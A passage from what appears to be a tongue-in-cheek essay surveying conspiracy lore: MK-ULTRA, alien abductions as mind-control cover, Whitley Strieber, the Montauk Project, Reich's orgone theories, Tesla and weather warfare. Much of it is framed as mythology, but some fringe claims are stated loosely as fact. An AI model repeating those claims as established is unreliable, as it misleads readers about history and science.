“spychiatrists” tested radiation, electric shock, microwaves, and electrode implants on unwitting subjects. The ultimate goal of MK-ULTRA was to create programmed assassins ala The Manchurian Candidate. (The CIA also tested a wide range of drugs in the prospects of discovering the perfect chemical compound to control minds. LSD was one such drug that deeply interested CIA spychiatrists, so much so that in ‘53 the Agency attempted to purchase the entire world supply of acid from Sandoz Laboratories in Switzerland. In fact, for many years the CIA was the principal source for LSD, both legal and otherwise.) In recent years, various info on remote mind control technology has filtered into the conspiracy research community through such “alternative” publications such as Full Disclosure, Resonance as well as a Finnish gentleman by the name of Martti Koski and his booklet My Life Depends On You. Over the last decade, Mr. Koski has been sharing his horrifying tale with the mind controlled world at large, documenting as it does the discovery of rampant brain tampering committed upon himself and countless others. The perpetrators of these evil doings allegedly include the Royal Canadian Mounted Police (RCMP), The CIA and Finnish Intelligence, among various other intelligence agencies. Where Sirius comes into the clouded picture is quite interesting: at one point during a mind control programming episode, the “doctors” operating on Koski identified themselves as “aliens from Sirius.” Apparently, these “doctors” (or “spychiatrists”) were attempting to plant a screen memory to conceal their true intentions. What this suggests is a theory that a handful of researchers — namely Martin Cannon, Alex Constantine, David Emory and John Judge — started kicking around in the early 90’s: that Alien Abductions were a cover for MK-ULTRA mind control shenanigans perpetrated by Intelligence Agency spooks. According to Walter Bowart — in the revised edition of Operation Mind Control — one alleged mind control victim related an incident along these lines, purportedly occurring in the late 70’s. In memories retrieved by way of hypnotic regression, it was revealed that the victim had been the recipient of a mock alien abduction, the intention of which was to create a screen memory that would conceal the actual mind control programs enacted on the victim. The subject in this instance claimed to have seen a young child dressed in a small alien costume, similar in appearance to the aliens in Speilberg's ET. None of this, of course, dismisses outright the ETH; nor does it mean that ET’s have never visited us. Nevertheless, it's implications are staggering when one considers the impact and subsequent commercialization of the Alien Abduction Phenomenon, and how it has challenged and reshaped the belief systems and psyches of millions upon millions of the planet's inhabitants, in essence creating a new paradigm that prior to thirty years ago was virtually non-existent. As chronicled in Walter Bowart’s Operation Mind Control , in the late 70’s Congressman Charlie Rose (D-N.C) met with a Canadian inventor who had developed a helmet that simulated alternate states of consciousness and realities, much like the VR eyegear-unit postulated in the movie Brainstorm. One such virtual reality scenario played out by those who tried on this helmet was a mock alien abduction. Congressman Rose took part in these experiments, which consisted of aforementioned alien abduction programme. Much to Rose’s amazement, the simulated scenario seemed incredibly realistic. This device sounds quite similar to Dr. Michael Persinger's much-touted "Magic Helmet", which has been receiving a fair amount of press in recent years. Equipped with magnets that beam a low-level magnetic field at the temporal lobe, the “Helmet” effects areas of brain associated with time distortions, and other altered states of consciousness. Although Bowart did not specifically name the inventor of the helmet in Operation Mind Control , chances are it was Persinger to whom he was referring. Persinger's name has also been bandied about by mind control researcher, Martin Cannon — in his treatise The Controllers — as a behind the scenes player in intelligence operations related to MK-ULTRA. Persinger is a clinical neurophysicist and professor of neuroscience, whose work over the years has focused on the effects of electromagnetic fields upon biological organisms and human behavior. Persinger is an adherent to the theory that UFOs are the products of geomagnetic effects released from the Earth’s crust under tectonic strain. His “Helmet” — it has been noted — approximates the characteristics of Temporal Lobe Epilepsy (TLE) of which many a armchair theorist have attributed as being responsible for Phil Dick’s VALIS experiences. One of the most common attributes of TLE are visions of the divine, in the form of direct communications with God, or gods — in whatever form — be it aliens, angels, fairies or elves. Early on — in his efforts to explain his own abduction experience — author Whitley Strieber entertained the possibility that he might have been one such victim of TLE. Because of this, Strieber underwent extensive medical examinations — including several CAT scans and MRI’s — to determine if such was the case, but the results of all these tests came up negative. Aside from such speculations, there is an undeniable magical component to Whitley Strieber’s experiences. After his initial hypnotic regression — when the presence of the “visitors” were first revealed to him — Strieber subsequently practiced a form a mediation to further conjure their image in his mind, so as to better identify their features. The first time he attempted this approach — much to his surprise — an alien grey immediately appeared in his “mental field of view”, allowing Strieber to delve deeper into the mystery of the phenomenon. This meditation experience — as recounted in Communion — seems nothing less than a magical conjuration, although Strieber may not have been entirely aware of his actions in the context of ritual magic. In a sense, Strieber perhaps performed unconscious — or subconscious — magical workings on several occasions, in essence summoning forth these beings from behind the veils of perception. Furthermore, it is my belief that hypnotic regression can, under certain circumstances, perform a sort of magical working, and it was through hypnotic regression that Strieber was able to come to terms with his “visitor experience” — at least to a certain extent. Bear in mind that hypnosis approximates a trance state, and it is just this form of altered consciousness that has allowed many an abductee to “recall” their experiences. Strieber was also, prior to his “visitor” experience, a member of the Gurdjieff Foundation, a self-transformational organization dedicated to a system of techniques devised by the famed mystic G.I. Gurdjieff. As Strieber explained: ”I believe that the techniques I learned in that training — particularly a form of double-tone chanting — have enabled me to remain conscious in some experiences with the visitors where I otherwise would have been unconscious.” What Strieber doesn’t acknowledge is that Gurdjieff himself was in contact with certain denizens of Sirius via this method of double-tone chanting, which could also be describe as “Enochian chants”. It was in the early stages of his “visitor” experiences that Strieber made the acquaintance of famed alien abduction investigator Budd Hopkins, who sat in on some of Strieber’s early hypnosis sessions. Later, when Strieber was working on the early drafts of Body Terror (the original working title of Communion ) he sent Hopkins excerpts for comment. Hopkins — though he was convinced that Strieber had indeed been visited by alien beings — was somewhat distressed by the amount of “high weirdness” contained within the manuscript, although there were many parallels with other known abduction cases. During the course of some group abductee meetings attended by Bud Hopkins, Strieber has been quoted as saying that “some people began volunteering stories about having left their bodies or other psychic experiences after their abductions. Budd wasn’t interested in that, and would tell people to get back to talking about their abduction experiences. He refused to see a possible link between the experience of abduction and some kind of spiritual or psychic awakening happening in the people to whom experiences occurred.” Curiously enough, elsewhere in Communion , Strieber points out that the mental state produced by his encounters with the “visitors” could be approximated by a rare drug called Tetradotoxin, which in small doses causes external anesthesia, and in larger doses may bring about “out of body” experiences. Even greater doses of the drug can simulate near death experiences. According to Strieber, Tetradotoxin is the core of the “zombie poisons” of Haiti. What he doesn’t mention is that Tetradotoxin was just one in a vast number of psychoactive compounds utilized by the CIA for their fabled MK-ULTRA project. Throughout Communion , Strieber makes (perhaps) veiled references to mind control (of the MK-ULTRA variety.) At one point in the narrative — as Strieber is haphazardly tossing around various theories regarding these “visitations” — he brings up the possibility that the Greys may not have been actually using mental telepathy to communicate, but that something of a more technical nature might have been occurring, such as extra-low-frequency waves beamed into Whitley’s boggled brain, thereby producing the requisite “voices in his head”. Along these lines, Strieber adds the interesting aside “that the earth itself generates a good deal of ELF in the 1 to 30 hertz range. Perhaps there are natural conditions that trigger a response in the brain which brings about what is essentially a psychological experience of a rare and powerful kind. Maybe we have a relationship with our own planet that we do not understand at all, and the old gods, the fairy, and the modern visitors are side effects of it...” Part of the appeal of Communion and subsequent books were, in my opinion, Strieber’s ability to entertain a whole host of theories, and in the process open the reader’s eyes to the various possibilities attempting to explain the UFO phenomenon, from fairy lore or travelers from alternate dimensions — to the very real possibility of some sort of ELF wave/mind control machine being responsible for his haunted reveries. Part 2 Of the various cottage industries that have emerged from the field of conspiracy theory, the Montauk Project is perhaps one of the more bizarre, its mythology a veritable smorgasbord of paranormal conspiracies and "comic book metaphysics", as Disinformation's Richard Metzger has so aptly termed it. Time travel, mind control, quantum physics, weather modification, teleportation, suppressed technologies, and gray alien hijynx merely scratch the surreal surface behind the many mind-blowing scenarios detailed in the numerous books authored by Montauk fraternity, such as "The Montauk Project: Experiments in Time," "Montauk Revisited: Adventures in Synchronicity," and "The Black Sun: Montauk's Nazi-Tibetan Connection". To the casual observer, the Montauk Project appears to be a hodge-podge of many diverse disciplines, much of which would be considered by the mainstream as "crank science." Take a little Wilhelm Reich, sprinkle it with Nikola Tesla, then add a dose of Aleister Crowley, and what you end up with is one magnificent mindfuck that goes off on so many tangents and arcane avenues that the mind boggles, either discounting this entire sordid tale, or conversely becoming so caught up and confused in this cosmic conundrum that the Montauk mythos becomes the focal point in their lives. As legend has it, this whole weird tale began towards the end of World War II, an alleged result of the U.S. Government's top-secret Rainbow Project. According to varied sources, the initial goal of The Rainbow Project was to make a ship — specifically the USS Eldridge — undetectable by radar. Such endeavors as The Rainbow Project were quite obviously a precursor to future stealth fighter craft technology, or in the parlance of Star Trek, a "cloaking device." Although the experiment was allegedly successful in causing the Eldridge to disappear from the Philadelphia Naval Yard, it also had some bizarre side effects that took the project from out of the realms of hard science and tossed it haphazardly into a raging sea of high weirdness. For you see, not only was the ship made invisible to the naked eye, but it also produced an unexpected consequence, in that it teleported the Eldridge and its passengers straight out of the space-time continuum, and into the Void. Shortly thereafter, the ship reappeared a hundred miles away, in Norfolk, Virginia. It was then transported back again to the Philly Naval Yard where some crew members were terminally planted into the bulkhead of the ship. Those who survived the ordeal entered into a state of madness and terror, totally freaked-out by the events that had occurred. The Rainbow Project — after its somewhat successful and equally ill-fated physical vanishing of the USS Eldridge — continued on after the 1940's, conducting covert experiments under the shadowy umbrella of U.S. Government Black Ops. This all presumably culminated in 1983 at a decommissioned Air Force station at Montauk Point when a hole was literally ripped through the space-time continuum. The end result of this Rainbow/Montauk technology was the creation of an alternate reality vortex. The Montauk Project is also referred to as The Phoenix Project, but to avoid any further confusion, we'll refer to it from here on out exclusively as The Montauk Project. The Rainbow Project — which in recent times has become more popularly known as The Philadelphia Experiment — has been the subject of both a book and movie of the same name. "The Philadelphia Experiment: Project Invisibility" was co-authored by Charles Berlitz and William "Bill" Moore, a somewhat curious figure in the annals of UFO research. Long story short, Moore was intimately involved in the fabled Paul Bennewitz affair, and has been dubbed by many in U-Fool-ology as a disinformation agent, not only in regards to the aforementioned case concerning Paul Bennewitz and the Dulce underground base, but as well for his role in "uncovering" the infamous MJ-12 documents. For those unfamiliar with these respective cases, a simple web search on either Paul Bennewitz or MJ-12 will no doubt turn up a wealth of information — or disinformation, as the case may be. Such as it is, Mr. Moore's research into these areas should at least be taken with a grain of salt. It's the present author's opinion that disinformation scams (such as Alternative 3, MJ-12, etc.) have, more likely than not, been used to discredit serious research into such topics as mind control, hidden technologies, UFO's and covert Black Ops. What I'm suggesting is that there may be a certain amount of truth surrounding the Montauk case, but a means of obscuring and distorting truth can sometimes be accomplished by releasing spurious stories that do indeed contain within them a measure of truth, but are also so thoroughly littered with red herrings that sincere researchers are diverted off course, and the theory itself becomes so muddied with misinformation that it's hard to take it seriously at all, as such seems to be the case in regards to much of the Project Montauk mythos. But anyway, I'm getting ahead of myself… In regards to the producer of The Philadelphia Experiment movie, an even greater curiosity abounds. According to the official scribe for the Montauk investigation, Peter Moon, the actor Mark Hamill — who played Luke Skywalker in the Star Wars Trilogy — is the actual producer of the film, though he chooses to keep this fact hidden from the public. It has been hinted at by Moon that a gentleman named Mark Knight (aka Mark Hamill) was a childhood friend of Montauk experiencer Preston Nichols, and that Hamill was instrumental in securing work for Nichols as a sound engineer on The Empire Strikes Back. It should also be noted that Hamill's father was an officer with Naval Intelligence, an agency long rumored to be mired in mind control conspiracies and assorted covert operations, one of which was, allegedly, the Montauk Project. Furthermore, Moon contends that Mark Hamill worked at Montauk during its halcyon days of time travel shenanigans and mind control meddlings. Curiouser and curiouser… For the average Jane and Joe — whose ideas about alternate dimensions come directly from the rental of an occasional sci-fi flick — The Philadelphia Experiment remains naught but a fictional flight of fancy, although researchers — many of them Montauk alumni — claim to have in their possession actual documents verifying the existence of the project! In fact, on the covers of many a Montauk book, it's boldly advertised that the book series, "Goes beyond science fiction." In other words, beyond the point of believability. What I do find refreshing, though, is that the likes of Preston Nichols, Al Bielek, et al, flatly state that they're not trying to prove anything in particular, but are simply presenting the facts as they perceive them, and it's up to the rest of us to derive some meaning from all this Montaukian madness. (Or write it all off as mere delusion — or out and out disinformation.) In a sense, this is the same ontological approach of such pioneers of quantum physics and consciousness exploration as Robert Anton Wilson, who adopt a philosophy of perceiving reality as an ever-changing façade which we as humans must interpret, then translate to fit into our own particular reality tunnels or world views. Or failing that, take the approach that all life is indeed Maya, much like a Philip K. Dick novel where you never know from one instant to the next if the ground is going to fall out from under your feet. For those who have extensively studied the occult and/or taken trips down psychedelic highways and byways, it quickly becomes evident that physical reality is merely one way to skin an ontological cat, so to simply rule out the seemingly far-out assertions of Al Bielek and Preston Nichols is a little short sighted in this author's opinion, though on the same token I'd be leery of buying a used time machine from either one of these gentlemen. Preston Nichols — one of the key players in the Montauk story — was an apparent unwitting participant in the project, who years after the fact discovered his actual involvement in matters Montaukian. Since that time he has been sharing his strange story through lectures, books and videos. For those unfamiliar with the man, Nichols cuts a quite memorable swath — to say the least. One part Jabba the Hutt and the other part some sort of psychic super hero/electronic genius with an unnatural fondness for virile young men. (Not that there's anything wrong with that!) Nichols — a veritable high-tech wizard — has his own version of the Mystery Machine in the form of a retired and renovated school bus, or as he calls it, his "Montauk Investigation vehicle." Preston's bus is filled to the brim with all sorts of gadgets and gizmos he allegedly salvaged from the secret Montauk site. Not only has Nichols been instrumental in bringing the Montauk Project story to a mass audience, but he has also played a pivotal role in deprogramming several Montaukian mind controlled subjects, more commonly known as the Montauk Boys, a slew of young men with Aryan characteristics, who had been covertly recruited into the Montauk mind control project. The ulterior motive behind this phase of the project was to create a blond-haired, blue-eyed bloodline of future rulers of the earth, thus bringing forth The New World Order. During their original programming, the Montauk Boys were entranced via some sort of MK-ULTRA/psychosexual programming. For those unfamiliar with MK-ULTRA, it was the CIA's covert mind control project. Started in 1953 under a program that was exempt from congressional oversight, MK-ULTRA agents and "spychiatrists" tested radiation, electric shock, microwaves, and electrode implants on unwitting subjects. Other intelligence agencies — such as the NSA and Naval Intelligence — were also involved in such covert experimentation, and it's quite likely that the Montauk Project was a continuation of same. It has also been documented that Nazi doctors — covertly imported into the US after World War II — were instrumental in the early years of the MK-ULTRA project, as much of the early research into mind control was conducted on concentration camp victims by the likes of Joseph Mengele, and other notorious Nazi doctors. Apparently, this legacy was continued in an underground facility at Montauk. Back in the 1970's — according to Peter Moon — the Montauk group became interested in programming children. The story gets even wackier when gray aliens become part of the lore, reportedly kidnapping around fifty children and delivering them to Montauk for these experiments. In regards to Preston Nichol's deprogramming of the Montauk Boys, this was supposedly accomplished by masturbating these young men in concert with radionics. The method behind this madness — according to Preston Nichols and associates — suggests that in order to deprogram the Montauk Boys, they first had to be taken into the same trance state in which they were originally programmed. Once there, Nichols would then be able to undo the previous programming by using similar mind control tactics, which included tantric message, and certain other unspecified "Reichian Techniques." Some would suggest that all of this Montaukian madness is simply a cover on the part of Preston Nichols for homo erotic perversions, though whether or not he was actually getting his jollies jerking off the Montauk Boys is purely a matter of speculation. Admittedly, I'm not all too familiar with "Reichian Therapy" except that it apparently falls in line with Dr. Wilhelm Reich's overall worldview that the basic fundamental energy pumping life into the cosmos is the sex drive, and that this energy is defined in Reichian terms as "Orgone Energy." Part of Reich's therapy (if I'm not mistaken) had to do with removing the layers of psychic armoring that turns large segments of humankind into a bunch of repressed and uptight, sexually dysfunctional tight-asses. It must be understood that the intent of Reich's various therapies was not so much to control minds, as it was to set them free, but apparently Montaukian mind controllers took certain elements of these "Reichian therapies" and used them in a manner that Reich had not originally intended. For those not in the know, Wilhelm Reich was a one time student of Sigmund Freud, who went on to establish his own name in the fields of psychology, science and alternative heath. Father of the "Orgone Box", he was later persecuted by the FDA as some sort of sexually deviant quack. Many of his published materials were subsequently burned via Gestapo-like tactics by FDA officials, and because of his controversial research, Reich was unjustly imprisoned. A common perception of Reich supporters is that he was railroaded into prison as a means the government used to suppress his alternative health cures and controversial research into such subjects as UFO's. Shortly after his imprisonment in the late 50's, Reich died of a heart attack in jail, although he was not known previously to have had any heart problems. Some subscribe his premature death to a conspiracy. If such was the case, it evidently succeeded. In regards to UFO's, Reich had some rather odd ideas. His perspective was that UFO's were not so much actual nuts and bolts craft, as they were some sort of spectral space critters; interdimensional amoeba undulating through the known universe for unknown reasons. And if I haven't already cluttered your head up enough with this deluge of diverse and possibly delusional info, Reich was also of the opinion that UFO's were powered by Orgone Energy, the aforementioned fundamental cosmic power source of the Universe. Seems that these Reichian perceived UFO-nauts had somehow tapped into the Orgone Energy grid of Earth, sucked up vast quantities of said substance, then spat out a form of exhaust that Reich referred to as Deadly Orgone (DOR). DOR — Reich contended — was quickly destroying the environment. In response, Reich developed what came to be known in the annals of "fringe science" as the "Cloudbuster", which was basically a space gun that could be aimed directly at UFO's and cause them to disappear. The Cloudbuster also had the power to purportedly seed clouds with rain. Many thought Reich completely off his rocker in regards to his UFO studies, although for some reason the U.S. Air Force was quite interested in his research. As those who get deep into the Montauk story know, Reich is another famous name that comes up often in these discussions, as it appears his research is quite instrumental to the unfolding Montauk mythos. Perhaps the most important piece of apparatus in this whole jumbled mess was the legendary "Montauk Chair" upon which Duncan Cameron sat and radiated his psychic powers with the intent of creating artificial reality vortexes. The ultimate purpose of these experiments was to not only alter physical reality, but to alter as well the mental landscape of all humankind. The chair itself — so states Preston Nichols — was developed in the 1950's with "sensor technology" that could display a person's thoughts, and was in essence a mind-reading machine. This device operated on the principle of tuning into the electromagnetic fields of human beings and translating their ethereal or Orgone Energy into a tangible form, ala thought-into-matter. The object in question, which accomplished this daunting task, was the aforementioned "Chair." This is where Duncan Cameron would sit, his head blazing like a psychic furnace, and paint a mental landscape of the gods. It was in this regard that Duncan himself, it has been said, became likened unto a god. To make the legend even more abstruse, the Montauk bunch claims that beings from the Sirius star system are also tangled up in this convoluted tale. Apparently, the Sirians provided the basic design, and then Montauk scientists took those original blueprints and developed The Chair. The Chair, in turn, was hooked into a complex grid of computers and amplifiers. Eventually The Chair (which, in appearance, was not unlike a Lay- z- Boy lounger) was fine-tuned to the point where a person could visualize something and a 3D image of those thought-forms would appear on a computer monitor, and then could be printed out. But it's only when Duncan Cameron came into the picture that things really started getting carried away. In a deep psychic trance state, Cameron was able to visualize a solid object and actually make it appear from out of nowhere. This was accomplished via an amplifier that would transmit a matrix, and then build up enough power to materialize whatever Cameron mentally cooked up, under the direction of his Montauk handlers. As indicated, Cameron took part in these experiments in an altered state of consciousness. In this regard, agents of the CIA and/or NSA — under the auspices of MK-ULTRA funded experiments — had given Cameron special training. The emphasis of this programming focused on diverting the mind through sexual bliss. It was then that the "primitive mind" would surface, as the individual — in this case, Mr. Duncan Cameron — would be transferred into an "orgasmic trance" state. His primitive mind — now at the disposal of nefarious Montauk operatives — would then become extremely suggestible, and therefore controllable. In time — through the use of The Chair — it was eventually discovered that Cameron had the power to bend time, thus creating vortexes, or time portals, not unlike the concept from the old TV series, Time Tunnel. In fact, those who have actually traveled through this time portal have described it like a spiral, such as that found in the aforementioned television series. Anyway, when Cameron would envision certain alternate realities in past and future time, the vortex could then be copied to the hard drive of Montauk computers. These experiments eventually led to a project with the express purpose of opening a time door to the USS Eldridge in 1943. All of this high-tech time travel tinkering is what allegedly sucked such players as Duncan Cameron and Al Bielek into the Montauk vortex. Bielek, for instance — in another incarnation as Duncan Cameron's brother, Edward — was a member of the crew on board the USS Eldridge, and because of his involvement with the Montauk Project has been jettisoned willy-nilly back and forth in time repeatedly, in the process leaving one's body behind and assuming another. But once again we're getting ahead of ourselves — or behind ourselves, depending on where you are currently residing in the space-time continuum… Montauk Project participants (one of whom was Preston Nichols, although Nichols himself wasn't aware of this until after the fact because he'd been mind-controlled in such a Montaukian manner that he was actually living on two separate time tracks!) were given the directive on August 5th, 1983 to turn on the transmitter and let run it non-stop. At first, nothing out of the ordinary happened. Then, on August 12th, the equipment apparently dropped into synch with the USS Eldridge, which suddenly appeared on the other end of the time portal. It was at this juncture, that the Duncan Cameron from 1943 (who was an earlier incarnation of the present day Duncan Cameron) appeared in the time portal along with his brother, who in present day earth is non-other than Al Bielek. (Confused yet???) It seems that the past tense Duncan and Edward had tried to sabotage the Philadelphia Experiment by shutting down the equipment aboard the Eldridge, but found this to be an impossible task as it was all linked through time to the generator at Montauk. (Don't ask me to explain that one, either!) Determining that it was unsafe to remain aboard the ship, they decided to jump overboard to free themselves from the electromagnetic field surrounding it. Upon so doing, the Brother's Cameron were pulled through a time tunnel and on to dry ground, materializing at Montauk on August 12th, 1983! If you've been able to follow this thread thus far, I applaud you, as this whole story is naught but an endless maze that transports us back and forth through time, out of one crazy portal and into another. Like I said before: a true-to-life PKD novel, that may or may not have actually happened in one dimension or another. When the Cameron brothers arrived in 1983, they were then recruited into The Montauk Project, and subsequently used in various time travel missions by Montauk operatives. As stated before, Duncan and Edward Cameron have now assumed new bodies. Duncan Cameron still goes by the same name, but Edward Cameron is now known as Al Bielek. But don't worry yourself trying to remember all these details, as I doubt this will ever be a question on Who Wants To Be A Millionaire? Preston Nichols — aware of the fact that if the future Duncan Cameron on one end of the time portal saw the past Duncan on the other side of the portal, this would lead to some sort of time paradox/reality shift with decidedly disastrous results — hatched a plan with some of his Montauk colleagues to sabotage the whole bleeping project. Of course, without the covert participation of Duncan Cameron, this whole daring plot would've never come off and we'd all probably be living in an alternative reality right now and not even know it! Whatever the case, somehow they managed to convince Duncan Cameron that the Montauk Project was coming undone, and that his help would be crucial in righting the ship that had gone astray, namely the USS Eldridge. This plan was put into effect — when on dramatic cue — one of the Montauk renegades walked up to Duncan in The Chair and whispered: "The time is now." At that precise moment, Duncan let loose a monster from his subconscious that took form and put a big wallop on the entire Montauk Project operation, bringing it to a sudden and cataclysmic end. The monstrosity in question was a big, hulking beast, "hairy, hungry, and nasty", to quote the inimitable Preston Nichols, no master of understatement. In The Montauk Project: Experiments in Time, Preston Nichols goes on to say that "…after the bizarre occurrences of August 12, 1983, the Montauk base was virtually emptied. The power was restored, but lights were left off with everything in disarray. Most of the personnel were eventually rounded up, debriefed and brainwashed accordingly…after the events of August 12th, the Montauk Air Force Base was abandoned. By the end of the year, there was no knowledge of anyone being on the base." During the course of all this — before the Montauk time portal closed — Duncan, who by now had traveled back and forth in time on numerous occasions, returned to the Montauk of 1983, while his brother Edward remained in 1943. (Now, I don't quite follow all of this myself, but let's not worry too much about the details at the moment, or we'll all go mad!) At this point, it was discovered that Duncan's body was dying, and that he was rapidly aging due to his involvement in all these Montaukian time travel shenanigans. Somehow, Montauk scientists were able to copy Duncan Cameron's "electromagnetic signature" and transfer it to a new body. To make this operation a reality, Duncan Cameron, Sr. — a mysterious figure himself in the lore of Montauk and Naval Intelligence — was contacted by high Montauk mucky-mucks, who traveled back in time and persuaded the elder Cameron to sire a son. It was this child, Duncan Cameron Jr., who was imprinted with the "electromagnetic signature" of the dying Duncan Cameron from the future. So, in this case, the question begs to be asked: Who came first, the chicken or the egg? The Duncan Cameron body swap is just one more in a long line of time travel conundrums that litter the pages of the Montauk book series, and sets the reader's head a-swimming through a maze of reality shifts and time travel mind-trips. In regards to Al Bielek's body swap, Bielek states that age regression techniques were used to place Edward Cameron (that's who Al Bielek was in his previous existence) into a body in the Bielek Family. (For those of you keeping score at home, you might as well give up, 'cause it all gets even kookier from here…) Recently, I heard Bielek on the Coast To Coast radio program with Mike Siegel, speaking his oft repeated Montaukian mantra about how he'd been Edward Cameron in a previous life upon the USS Eldridge, as well as the standard version of the Philadelphia Experiment story as presented in the books of Nichols and Moon. During this program, a caller to the show stated that he — as well — has been a crew member aboard the Eldridge during the Philadelphia Experiment time period. The caller in question stated that he didn't remember doodley squat regarding Bielek's astounding claims that the USS Eldridge had been blasted straight out of the space-time continuum and into hyperspace. In response, Bielek didn't really address the matter, but if he had the argument no doubt presented would have been to the effect that this call-in crew member had probably been brain-washed, and that his memories of the Philadelphia Experiment wiped clean by Montauk operatives, which seems to be the party line espoused by the likes of Bielek, Nichols, et al. when someone comes forth testifying to have been on the Eldridge during the Philadelphia Experiment, and that nothing out of the ordinary had happened. Another convenient argument — offered up by Montauk experiencer Glenn Pruitt — is that the reason the Montauk Project is so difficult to prove, is because it all transpired in an alternate dimension, which many observers could construe as a cop-out, because how the hell are you gonna prove an alternate dimension????? Of course, proving all these far-flung assertions is like wrestling one's way out of a Chinese finger trap: the more you struggle to make sense of this miasma of muddled mysticism and myriad madness, the more lost you become in a Montaukian maze. But as much as the Montauk Mythos seems naught — to many observers — but a pile of happy horseshit, it continues to attract serious researchers and spiritual searchers into its endless stream of mysteries. As Montaukian Investigator/Experiencer Chica Bruce related to me: "What I've come away with is that everything is true and that nothing is true… Any story (not just about Montauk - EVERY story) is ultimately irrelevant and useless to me outside of what it can teach me about Creation and the empowerment of humans via insights about how reality works. To this end, the study of the wacky world of Montauk has been extremely useful… “It is cosmically humorous to me that a story so full of seemingly deranged allegations does contain many valuable, penetrating truths about consciousness and the nature of reality. The Montauk mythos is repugnant to current consensus world-views and it puts off mentalities that are fundamentally invested in conforming with the hegemony. Those who feel a need to bash the Montauk story are failing to understand what it is really about and are revealing their unflagging allegiance to certain stodgy mind patterns and core beliefs…” A reoccurring claim of Montauk experiencers is that advanced mind control experimentation has been perpetrated not only upon themselves, but also the local townspeople of Long Island, New Jersey, upstate New York and Connecticut, beamed from the infamous transmitter tower at Montauk. This is what is more commonly known as the art and science of psychotronics, and specifically — as regards the Montauk Project — the transmission of UHF/microwave energy through the atmosphere, ostensibly bombarding the beleaguered brains of unwitting subjects, not to mention various and sundry indigenous animals — domestic and wild — that have been reported going berserk upon occasion and running amok through the town of Montauk. One of the Montauk Project psychotronic subjects in question was none other than super-psychic Duncan Cameron. By using psychotronics in concert with Duncan's surreal psychic abilities, Montauk scientists were somehow able to intensify his powers vis-à-vis the creation of alternate reality vortexes, if you follow my drift. (Yes, this all gets quite convoluted, and takes an enormous suspension of belief if we are to take seriously even a small portion of the mighty Montauk mythos...) This psychotronic experimentation consisted of operating the Montauk transmitter at different pulse widths, different pulse rates, and varying frequencies. The ultimate goal behind all of these fantastic fiddlings was to see how brain waves could be changed and entrained, whether it be controlling a super psychic like Duncan Cameron to create the aforementioned alternate reality vortexes used as time travel portals, or the ability to generate transmissions that could change people's moods, and cause agitation. What we're describing here could be classified as non-lethal weaponry, though I've heard disturbing reports from my colleagues in the mind control research community that microwave transmissions of a certain frequency could potentially boil someone's brain into oblivion, which certainly qualifies as something quite "lethal", as opposed to "non." The ultimate goal of all this bad craziness is total control of the human species, which apparently is what the Montauk Project was all about. Other uses for these microwave-boosted transmissions include the ability to focus on a car and stop all electrical functioning. This, of course, is the same effect commonly reported in UFO sightings and attributed to alien craft. Once again this illustrates how high tech black ops can be used to replicate a so-called alien encounter. As Dr. Michael Persinger has demonstrated, certain frequencies approximate the alien abduction phenomenon in the brains of human beings. So perhaps the entire Montauk Project is exactly that: an MK-ULTRA mindfuck designed to mess with the mass mind of humanity to see how far it can push the general populace towards complete and utter lunacy. It has also been suggested that certain forms of electromagnetic waves can affect weather patterns from great distances. This could explain the strange summer snows that have visited the town of Montauk in past years. One of the most visible critics exposing the use of covert technologies of this type is Col. Tom Beardon. A former military intelligence officer, Beardon at one time published Specula, a magazine devoted to "psychotronics" and "bio-energetics." In the mid 80's, Bill Jenkins hosted a radio program on A.M. KFI in Los Angeles, which — on a weekly basis — dealt with subjects of the paranormal. The first time I tuned into Jenkin's show his guest was none other than Col. Beardon, who spoke of a mysterious "woodpecker" signal, which during that era had become quite the hot topic among ham operators around the world. The so-called "woodpecker" signal could be replicated by tapping a pencil on a table between eight and fourteen times each second. Beardon claimed this signal emanated from the Soviet Union which had been traced to an alleged "Tesla Generator" in the cities of Riga and Gomel, and that the "woodpecker" signal was responsible for weather modification wars covertly waged upon an unsuspecting United States citizenry by the wily and unscrupulous Russians. These manipulations of U.S. weather patterns created a drought in the western states, which in turn caused severe effects on farming and the economy in 1976, the same year the infamous "woodpecker" signal was first discovered. It has been suggested that weather modification and mind control is the driving force behind the mysterious Project HAARP, which likewise is said to have originated from the brilliant mind of Nikola Tesla. This also falls in line with certain Montaukian mythologies, as The Montauk Project has been allegedly involved — to a certain extent — in weather modification using technology similar to both the HAARP Project, as well as Wilhelm Reich's "Cloudbuster." Tesla, so states the Montauk crowd, was the main man behind the first phase of The Philadelphia Project, but later bowed out of the experiment when he witnessed its deleterious side effects, and the direction the overall project was heading. Tesla also claimed contact with aliens, and that they were responsible for passing on certain knowledge that helped with his inventions, much in the same fashion as Montauk scientists supposedly received guidance form extraterrestrials concerning "The Chair." One apparent goal of the Montauk Project was to send military operatives back in time to alter historical events, allowing the Montauk Group to hold the future hostage; to manipulate it for their own nefarious means, thus manipulating reality. (Chica Bruce refers to these exploits as "high tech Black Magic.") This notion has been seconded by Montauk experiencer Stewart Swerdlow, who — after attending a Preston Nichols lecture some years ago — experienced the sudden resurfacing of suppressed memories regarding the Montauk Project. Among other wild and woolly claims, Swerdlow says he was sent through the Montauk time portal packin' a pistol, on a mission to blow Jesus Christ to Kingdom Come. But when Jesus materialized in old town Jerusalem — and came sauntering down the steps of the temple all beatific and such — Swerdlow got cold feet and opted not to pull the trigger. (Perhaps the thought of burning in Hell for all eternity had something to do with his decision!) Later, Swerdlow was sent back in time again, and on the next occasion encountered Christ on the cross. On this occasion, Swerdlow was charged with the mission of extracting vials of holy blood from the crucified Messiah and, in the course of events, was apparently successful in this endeavor. The whole motivation behind this madcap Montaukian scheme was to clone the holy blood of Christ and then shoot psychic superstar Duncan Cameron up with it. Then — according to the Montauk Project game plan — the medical community would test Cameron's blood against the DNA residue on the Shroud of Turin, which would unanimously confirm the revelation of Christ's Second Coming. As a result of this psychic vampirism, humanity would then fall to its knees and worship this pseudo Christ, Duncan Cameron, the second only begotten Son of God! The ulterior motive behind all these blasphemies was to create the actual anti-Christ, thus ushering in a New World Order. (Now, why anyone would want to do that is beyond me!) To mystify this subject even more, Peter Moon believes there is a strong occult connection to The Montauk Project, mainly in the form of Aleister Crowley, who Moon suggests was manipulating reality way back in the early part of the 20th century, traveling backwards and forwards in time "through a purely magical basis." The apparent reason Crowley was able to so freely time travel was due to the fact that he wasn't locked into any dimension or illusion of reality. A master of many mystical disciplines and secret schools, Moon believes that Crowley was able — through his Will-To-Power — to jettison himself literally through time and space, and into other dimensions, which is a really cool thing, if you think about it. But also, one must possess a very strong and disciplined intellect to be able to subject oneself to such paradigm shifting adventures without going stark, raving bonkers. Perhaps Aleister Crowley was 